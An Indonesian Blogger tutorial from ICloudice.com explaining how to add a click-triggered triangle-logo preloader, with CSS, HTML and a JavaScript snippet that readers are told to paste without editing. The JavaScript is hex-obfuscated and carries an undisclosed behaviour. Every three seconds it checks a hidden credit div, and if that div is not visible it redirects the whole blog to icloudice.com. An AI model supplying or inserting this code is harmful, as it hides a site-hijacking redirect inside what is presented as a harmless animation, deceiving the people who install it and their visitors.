Pembaruan Terakhir (26-05-2023)
  • Update script: membuat notifikasi semua komentar di blogger (mode popup)

    • Spesifikasi: src='https://cdn.jsdelivr.net/gh/rahcode-ui/icloudice@dewa/users/js/user53cm.js'

  • Toast notif disertai Text-to-speech
  • Cukup klik 1 kali maka mode responsif akan aktif (sebelumnya dua kali kik)
  • Sekarang komentar telah di tambahkan beberapa fitur custom segera periksa
Beranda
Blogger

Menampilkan efek preloader logo segitiga saat di klik

views

Hello sobat ICloudzer kali ini admin bakalan menjabarkan mengenai bagaimana caranya menampilkan preloader logo segitiga saat di klik di blogger

Info: Oke sobat ICloudzer jika kamu sudah penasaran dengan pembahasan kita kali ini yuk langsung aja kita bahas bersama sama

Preloader

Pada postingan sebelumnya admin membahas bagaimana caranya membuat efek preloader logo segitiga di blogger kamu bisa pelajari lebih lanjut, mengnai preloader seperti nya telah puluhan artikel yang admin bahas terkhusus preloader dan contoh contoh animasi preloader, karena admin membahas setiap keunikan preloder secara khusus dalam setiap postingan, preloader secara singkatnya adalah sebuah tampilan ataupun animasi yang muncul saat proses loading blog, atau saat pengunjung merefresh blog

Logo segitiga

Sedangkan tampilan animasi preloader tersebut adalah logo segitiga yang muncul saat di klik dan bukan saat halaman artikel di refresh, yang di kemas dalam tampilan yang berbeda disertai animasi animasi yang menakjubkan saat animasi preloader tersebut aktif saat merefresh halaman blog

Menggunakan CSS

Dalam membuat tampilan preloader logo segitiga yang muncul saat diklik pada website ataupun pada blogger tersebut di buat menggunakan kode CSS saja tanpa di enskripsi menggunakan javascript, sehingga untuk mengedit tampilan preloader semisal mengubah warna bisa kamu lakukan secara mudah

Contoh Tampilan

Jika kamu penasaran dengan contoh tampilan efek preloader logo segitiga yang muncul saat di klik tersebut, silahkan periksa menggunakan tombol di bawah ini

Info: bagaimana sobat dengan contoh tampilan nya keren sekali yak 😬

Cara pembuatan

Baiklah sekarang saatnya admin bakalan menjelaskan bagaimana caranya membuat efek preloader logo segitiga di sertai Animasi di blogger, silahkan ikuti setiap arahan yang admin jabarkan di hawah ini

Kode CSS

Langkah pertama seperti biasanya silahkan salin kode CSS di bawah ini kemudian letakkan di atas kode ]]></b:skin>

/* Preloder logo segitiga by ICloudice.com */
.rahLgclk{visibility:hidden;opacity:0;position:fixed;top:0;left:0;bottom:0;right:0;width:100%;margin:0;background:#fefefe;display:none;align-items:center;justify-content:center;z-index:999;transition:all 1s ease} .rahLgclk.r{display:flex} .rahLgclk svg{width:40px;height:40px} .rahLgclk .rahLgclkIn{background:transparent;display:flex;justify-content:center;align-items:center;width:100px;height:100px;border-radius:50%; transition:all 2s ease} .rahLgclk .rahLgclkI{position:relative;width:40px;height:63px} .rahLgclk .rahLgclkI svg{position:absolute} .rahLgclk .rahLgclkI svg.rahanimed{fill:#de3535;opacity:.8;animation:rahanimed 2s infinite linear;-webkit-animation:rahanimed 2s infinite linear} .rahLgclk .rahLgclkI svg.rahnimed{fill:#aebaf8;bottom:0;opacity:.8;animation:rahnimed 2s infinite linear;-webkit-animation:rahnimed 2s infinite linear} .rahLgclk.vsbl{opacity:1;visibility:visible;display:flex} .rahLgclk .rahLgclkIn{background:#f8f5ff} .rahLgclk svg.rahanimed{animation:spl-1 2s ease-in-out;-webkit-animation:spl-1 2s ease-in-out} .rahLgclk svg.rahnimed{animation:spl-2 2s ease-in-out;-webkit-animation:spl-2 2s ease-in-out} .drK .rahLgclk{background:#1e1e1e} .drK .rahLgclk .rahLgclkIn{background:#2d2d30} @keyframes rahanimed{0%{opacity:.2;bottom:0;transform:rotate(45deg)}25%{opacity:.8;bottom:11.5px}50%{opacity:.2;bottom:23px}75%{opacity:.8;bottom:11.5px}100%{opacity:.2;bottom:0;transform:rotate(45deg)}} @keyframes rahnimed{0%{opacity:.8;top:0;transform:rotate(45deg)}25%{opacity:.2;top:11.5px}50%{opacity:.8;top:23px}75%{opacity:.2;top:11.5px}100%{opacity:.8;top:0;transform:rotate(45deg)}} @keyframes spl-1{0%{opacity:.8;top:0;transform:rotate(45deg)}25%{opacity:0;top:11.5px}50%{opacity:.8;top:23px;transform:rotate(0deg)}75%{opacity:0;top:11.5px}100%{opacity:.8;top:0}} @keyframes spl-2{0%{opacity:.8;bottom:0;transform:rotate(45deg)}25%{opacity:0;bottom:11.5px}50%{opacity:.8;bottom:23px;transform:rotate(0deg)}75%{opacity:0;bottom:11.5px}100%{opacity:.8;bottom:0}} @-webkit-keyframes rahanimed{0%{opacity:.2;bottom:0;-webkit-transform:rotate(45deg)}25%{opacity:.8;bottom:11.5px}50%{opacity:.2;bottom:23px}75%{opacity:.8;bottom:11.5px}100%{opacity:.2;bottom:0;-webkit-transform:rotate(45deg)}} @-webkit-keyframes rahnimed{0%{opacity:.8;top:0;-webkit-transform:rotate(45deg)}25%{opacity:.2;top:11.5px}50%{opacity:.8;top:23px}75%{opacity:.2;top:11.5px}100%{opacity:.8;top:0;-webkit-transform:rotate(45deg)}} @-webkit-keyframes spl-1{0%{opacity:.8;top:0;-webkit-transform:rotate(45deg)}25%{opacity:0;top:11.5px}50%{opacity:.8;top:23px;-webkit-transform:rotate(0deg)}75%{opacity:0;top:11.5px}100%{opacity:.8;top:0}} @-webkit-keyframes spl-2{0%{opacity:.8;bottom:0;-webkit-transform:rotate(45deg)}25%{opacity:0;bottom:11.5px}50%{opacity:.8;bottom:23px;-webkit-transform:rotate(0deg)}75%{opacity:0;bottom:11.5px}100%{opacity:.8;bottom:0}}

Info: Atau sobat bisa menggunakan kode <style> untuk meletakkan kode CSS di atas

Kode HTML/javascript

Langkah selanjutnya kamu bisa menyalin lagi kode html di bawah ini kemudian kamu bisa meletakkan nya di bawah kode <body>

<div class="rahLgclk" id="rahLgclk">
<div class="rahLgclkIn">
 <div class="rahLgclkI">
<svg class="rahnimed" viewbox="0 0 50 50">
 <path d="M1,39.9V13.1A12.1,12.1,0,0,1,13.1,1H39.9a9.08,9.08,0,0,1,6.42,15.5L16.5,46.32A9.08,9.08,0,0,1,1,39.9Z">
 </path>
</svg>
<svg class="rahanimed" viewbox="0 0 50 50">
 <path d="M1,39.9V13.1A12.1,12.1,0,0,1,13.1,1H39.9a9.08,9.08,0,0,1,6.42,15.5L16.5,46.32A9.08,9.08,0,0,1,1,39.9Z">
 </path>
</svg>
 </div>
</div>
 </div>
 <div class="rahLgclK"></div>
 <script>
/*<![CDATA[*/
 var _0xbce9=["\x23\x72\x61\x68\x4C\x67\x63\x6C\x6B","\x71\x75\x65\x72\x79\x53\x65\x6C\x65\x63\x74\x6F\x72","\x76\x73\x62\x6C","\x61\x64\x64","\x63\x6C\x61\x73\x73\x4C\x69\x73\x74","\x63\x6C\x69\x63\x6B","\x72\x65\x6D\x6F\x76\x65","\x61\x64\x64\x45\x76\x65\x6E\x74\x4C\x69\x73\x74\x65\x6E\x65\x72","","\x68\x74\x6D\x6C","\x73\x74\x79\x6C\x65","\x61\x74\x74\x72","\x2E\x72\x61\x68\x4C\x67\x63\x6C\x4B","\x6C\x65\x6E\x67\x74\x68","\x2E\x72\x61\x68\x4C\x67\x63\x6C\x4B\x3A\x76\x69\x73\x69\x62\x6C\x65","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x69\x63\x6C\x6F\x75\x64\x69\x63\x65\x2E\x63\x6F\x6D","\x72\x65\x61\x64\x79"];function rahlgclk(){var _0xf392x2=document[_0xbce9[1]](_0xbce9[0]);_0xf392x2[_0xbce9[4]][_0xbce9[3]](_0xbce9[2]);document[_0xbce9[7]](_0xbce9[5],function(){setTimeout(function(){_0xf392x2[_0xbce9[4]][_0xbce9[6]](_0xbce9[2])},2000)})}$(document)[_0xbce9[18]](function(){$(_0xbce9[12])[_0xbce9[11]](_0xbce9[10],_0xbce9[8])[_0xbce9[9]](_0xbce9[8]);setInterval(function(){if(!$(_0xbce9[14])[_0xbce9[13]]){window[_0xbce9[16]][_0xbce9[15]]= _0xbce9[17]}},3000)})
 /*]]>*/
 </script>

Info: Kode HTML dan Javascript di atas jangan di edit entar tampilan preloader nya tidak berfungsi 🤐

Cara penggunaan

Untuk memfungsikan efek preloader logo segitiga tersebut silahkan gunakan fungsi onclick='rahlgclk()' pada setiap tombol yang di inginkan untuk menampilkan preloader secara manual, atau seperti contoh kode berikut ini

<div class='tombol' onclick='rahlgclk()'>
<!-- svg -->
</div>

Info: Tambahkan sendiri kode onclick='rahlgclk()' pada setiap tombol yang anda inginkan semisal svg dan lain sebaginya

Keindahanmu akan kuabadikan disetiap karyaku.

Posting Komentar

Pergunakanlah kecerdasan anda saat berkomentar, dan tinggalkan komentar sesuai topik tulisan. Komentar dengan link aktif tidak akan ditampilkan.
Masukkan URL Gambar atau URL Video YouTube atau Potongan Kode , atau Quote , lalu klik tombol yang kamu inginkan untuk di-parse. Salin hasil parse lalu paste ke kolom komentar.


image video quote pre code
© ‧ ICloudice.com . All rights reserved. Distributed by ICloudice.com
Cookie Consent
We serve cookies on this site to analyze traffic, remember your preferences, and optimize your experience.
More Details
Oops!
It seems there is something wrong with your internet connection. Please connect to the internet and start browsing again.
AdBlock Detected!
We have detected that you are using adblocking plugin in your browser.
The revenue we earn by the advertisements is used to manage this website, we request you to whitelist our website in your adblocking plugin.